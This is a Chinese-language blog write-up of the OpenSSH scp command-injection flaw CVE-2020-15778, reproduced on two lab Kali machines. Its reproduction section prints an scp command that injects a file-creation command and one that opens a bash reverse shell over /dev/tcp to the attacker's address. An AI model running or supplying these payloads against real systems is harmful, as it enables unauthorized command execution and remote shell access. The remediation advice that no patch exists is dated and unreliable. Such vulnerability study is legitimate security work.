Open SSH CVE-2020-15778

Open SSH

OpenSSH 是用于使用 SSH 协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH 由 OpenBSD 项目的一些开发人员开发, 并以 BSD 样式的许可证提供,且已被集成到许多商业产品中。

漏洞简介

研究人员 Chinmay Pandya 在 openssh 的 scp 组件中发现了一个命令注入漏洞。OpenSSH 的 8.3p1 中的 scp 允许在 scp.c 远程功能中注入命令,攻击者可利用该漏洞执行任意命令。OpenSSH 8.3 p1及之前版本中的scp的scp.c文件存在命令注入漏洞。

scp介绍

scp 命令用于不同主机之间复制文件和目录。
scp 是 secure copy 的缩写,是 基于 ssh 协议进行安全的远程文件拷贝命令。
scp 想要免密进行复制,需要发送秘钥给相应的节点。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。

漏洞复现

攻击机kali202001 ip 192.168.177.137

靶机 kali ip 192.168.177.128

执行文件新建命令

复制当前目录下的 exp.sh到、etc目录下,执行新建passwd1.txt命令

sudo dcp ./exp.sh root@ip:'touch /etc/passwd1.txt`/etc/'

在靶机中查看etc目录,新建文件已经执行成功

ls |grep passwd //查看带有passwd字段名的文件

 

进行端口反弹

scp命令将可执行文件传入指定目录,同时反引号扣住执行命令,监听可执行语句执行结果:

bash -i >& /dev/tcp/192.168.177.137/8888 0>&1

 

 

 

或者直接输入bash进行命令执行,实现端口反弹

sudo scp test.txt root@192.168.177.128:'`bash -i >& /dev/tcp/192.168.177.137/8888 0>&1`/dev/test1.txt'

 攻击机已经获取shell

 漏洞分析

 在向远程主机拷贝文件时,文件的路径会追加到本地 scp 命令后,当执行本地 scp 命令时,scp 不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效 scp 命令时,本地 shell 还将执行反引号中的命令

 漏洞修复

输入以下命令查看openssh版本

ssh -V

官方尚未发布安全更新补丁,请密切关注厂商主页获取解决办法。

参考链接

https://www.secpulse.com/archives/136455.html

https://idc.wanyunshuju.com/wap/aqld/1714.html

https://www.cnblogs.com/mrhonest/p/13426971.html

免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

原文地址:https://www.cnblogs.com/lijingrong/p/13427263.html